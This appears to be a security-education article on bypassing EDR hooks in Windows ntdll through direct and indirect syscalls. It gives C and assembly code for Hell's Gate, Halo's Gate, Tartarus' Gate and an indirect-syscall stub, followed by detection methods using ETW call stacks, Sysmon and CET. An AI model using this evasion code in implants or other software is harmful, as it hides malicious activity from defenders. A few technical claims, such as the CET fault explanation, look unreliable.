Direct Syscalls
NTDLL bypass techniques: Hell's Gate, Halo's Gate, and Tartarus' Gate, and how stack-unwinding analysis detects them even when ntdll hooks are bypassed
An EDR hooks NtAllocateVirtualMemory inside ntdll by patching the first 5 bytes of the stub with a JMP to its analysis routine. A sample using Hell's Gate reads the SSN from the stub, detects the hook (bytes don't match the known prologue), walks to a neighboring stub to infer the correct SSN, and executes syscall from its own shellcode — bypassing the hook. Six months later the EDR starts checking whether the syscall instruction address belongs to ntdll. The sample pivots to Indirect Syscalls, borrowing a syscall-ret gadget from within ntdll itself. The arms race continues at the user-mode/kernel boundary.
Why Bypass ntdll
EDRs hook the ntdll Nt-function stubs because those stubs are the last user-mode code before the syscall boundary. Bypassing them eliminates all user-mode EDR visibility on the hooked calls. The two approaches:
- Direct syscall: place
mov eax, SSN; syscallin your own code, never touching ntdll for that call. - Indirect syscall: load SSN yourself, then JMP into a
syscall; retgadget inside ntdll, so the syscall appears to originate from ntdll.
Both require knowing the correct SSN for the target OS version dynamically at runtime.
Hell's Gate
Each ntdll Nt-stub starts with an identical 3-byte sequence 4C 8B D1 (mov r10, rcx), then a 5-byte B8 XX XX 00 00 (mov eax, SSN). Hell's Gate resolves a function pointer from ntdll, reads bytes at offset +3 to extract the SSN, and issues the syscall from a small ASM stub in its own memory.
// Hell's Gate: extract SSN from a live ntdll stub
typedef struct {
WORD SSN;
bool hooked;
} VxTableEntry;
bool GetSyscallNumber(PVOID pNtFunction, VxTableEntry *entry)
{
PBYTE p = (PBYTE)pNtFunction;
// Normal stub: 4C 8B D1 B8 XX XX 00 00
if (p[0] == 0x4C && p[1] == 0x8B && p[2] == 0xD1 && p[3] == 0xB8) {
entry->SSN = *(WORD*)(p + 4);
entry->hooked = false;
return true;
}
// First bytes patched (hook detected)
entry->hooked = true;
return false;
}
Halo's Gate
When an ntdll stub is hooked (bytes don't match), its SSN is hidden under the EDR's JMP patch. Halo's Gate solves this by looking at neighboring stubs. SSDT entries are assigned consecutively: if NtAllocateVirtualMemory is SSN N, the stub immediately before it in the export table typically has SSN N-1 and the stub after has SSN N+1. Halo's Gate scans forward and backward from the hooked stub, finds the first unhook neighbor, and infers the target SSN by offset.
// Halo's Gate: if stub is hooked, walk neighbors to infer SSN
bool GetSyscallNumberHalosGate(PVOID pNtFunction, VxTableEntry *entry)
{
PBYTE p = (PBYTE)pNtFunction;
if (GetSyscallNumber(p, entry)) return true;
// Stub is hooked — walk neighbors
// Each stub is exactly 0x20 bytes in modern ntdll
for (int i = 1; i < 500; i++) {
VxTableEntry neighbor = {};
// Check +i stubs (higher SSN)
if (GetSyscallNumber(p + (0x20 * i), &neighbor) && !neighbor.hooked) {
entry->SSN = neighbor.SSN - i;
entry->hooked = true; // was hooked, now inferred
return true;
}
// Check -i stubs (lower SSN)
if (GetSyscallNumber(p - (0x20 * i), &neighbor) && !neighbor.hooked) {
entry->SSN = neighbor.SSN + i;
entry->hooked = true;
return true;
}
}
return false;
}
Tartarus' Gate
An evolution handling a different hook pattern: some EDRs use a 3-byte jmp qword ptr [rip+0] or other longer patches that start at a different offset in the stub, leaving the B8 XX XX SSN bytes at offset +3 intact but unreachable. Tartarus' Gate scans the stub for multiple known hook patterns and extracts the SSN regardless:
// Tartarus' Gate checks additional known hook prologue patterns
bool GetSyscallNumberTartarusGate(PVOID pNtFunction, VxTableEntry *entry)
{
PBYTE p = (PBYTE)pNtFunction;
// Pattern 1: clean stub (4C 8B D1 B8 SSN)
if (p[0]==0x4C && p[1]==0x8B && p[2]==0xD1 && p[3]==0xB8) {
entry->SSN = *(WORD*)(p + 4);
return true;
}
// Pattern 2: syscall re-routing hook (3E xx xx xx B8 SSN)
if (p[3] == 0xB8 && p[7] == 0x00 && p[8] == 0x00) {
entry->SSN = *(WORD*)(p + 4);
entry->hooked = true;
return true;
}
// Fallback: use Halo's Gate neighbor walk
return GetSyscallNumberHalosGate(p, entry);
}
Indirect Syscalls
A newer EDR capability: check whether the address that executed syscall belongs to ntdll. If the syscall instruction came from outside ntdll (e.g., from shellcode or the main executable), that's anomalous. Indirect syscalls counter this by setting EAX to the SSN but then jumping to a syscall; ret gadget that lives within ntdll's address range:
; Indirect syscall example for NtAllocateVirtualMemory
; pSyscallGadget = address of "syscall; ret" bytes inside ntdll
IndirectNtAllocateVirtualMemory:
mov r10, rcx
mov eax, [SSN_NtAllocateVirtualMemory] ; SSN from Hell/Halo's Gate
jmp [pSyscallGadget] ; jump into ntdll's "syscall; ret"
; execution returns to caller after syscall completes
Detection
| Technique | Detection Method | Data Source |
|---|---|---|
| Direct syscall from shellcode | ETW callstack: syscall instruction address is outside ntdll's module range | ETW kernel provider (syscall events), EDR stack walk |
| Indirect syscall | Callstack looks like ntdll but return address points to non-ntdll code; JMP into ntdll mid-function is unusual | ETW, user-mode stack walking with shadow stack (CET) |
| SSN extraction via stub scan | ReadProcessMemory on ntdll from another process; or scanning own ntdll stub bytes at startup | Sysmon Event ID 10 (ReadProcessMemory on ntdll); heap allocations with matching patterns |
| Any syscall bypass | Kernel-side: KiSystemCall64 logging; ETW providers see all syscalls regardless of how invoked | ETW Microsoft-Windows-Kernel-Audit-API-Calls provider |
Control-flow Enforcement Technology (CET) shadow stack tracks return addresses in a separate, hardware-protected stack. When indirect syscall does JMP into ntdll's syscall gadget, that JMP doesn't push a return address onto the shadow stack — only CALL does. If the return from the kernel via ret is checked against the shadow stack (which has no matching entry for this indirect path), CET raises a fault. This is one reason indirect syscalls are fragile on CET-enabled systems (Intel 11th gen+, Windows 11 with hardware enforcement).
Q & A
Can a process completely avoid using ntdll.dll if it uses direct syscalls for everything?
In theory yes for Win32 operations — you could issue every system call directly. In practice no, because ntdll provides critical services that aren't system calls: (1) The loader (LdrLoadDll, LdrInitializeThunk) runs in ntdll to set up the process, load imports, initialize TLS. The process can't even start without ntdll running. (2) The heap allocator (RtlAllocateHeap) is in ntdll — you could implement your own heap, but C runtime and most libraries depend on the standard heap. (3) Exception handling (RtlUnwind, RtlAddFunctionTable) is in ntdll. (4) The C runtime (vcruntime, ucrtbase) calls ntdll functions internally. Direct syscalls avoid calling ntdll functions for individual operations, but ntdll is still loaded and used constantly. A process trying to completely avoid ntdll would need to: bootstrap itself from a stub that never calls into ntdll, implement its own heap and exception handling, and call all system services via raw syscall numbers — essentially implementing a small OS inside a process. Some advanced implants do exactly this for specific sensitive operations (injection, memory allocation) while still using ntdll for everything else.
How do defenders use ETW to detect direct syscalls when the syscall itself still reaches the kernel normally?
The kernel still executes the syscall — ETW kernel providers see every system call regardless of how it was invoked. The detection comes from the call stack attached to the ETW event. When ETW logs a syscall event (e.g., for virtual memory allocation), it captures the user-mode call stack at that moment. Normally: the stack looks like YourApp.exe -> kernel32.dll -> kernelbase.dll -> ntdll.dll -> [syscall]. With a direct syscall: the stack looks like YourApp.exe -> [some suspicious address] -> [syscall]. The suspicious address (where the syscall instruction executed) is in a MEM_PRIVATE, executable region — not a module. The ETW event fires, the stack is captured, and an analyst or detection rule can see: "syscall originated from outside any known module." Specific ETW providers for this: Microsoft-Windows-Threat-Intelligence (ETW-TI) is specifically designed for this purpose — it fires on suspicious memory operations and includes full stacks. It requires a PPL-protected consumer (like an EDR kernel component) to receive events. The callstack anomaly is the core detection for both direct and indirect syscalls.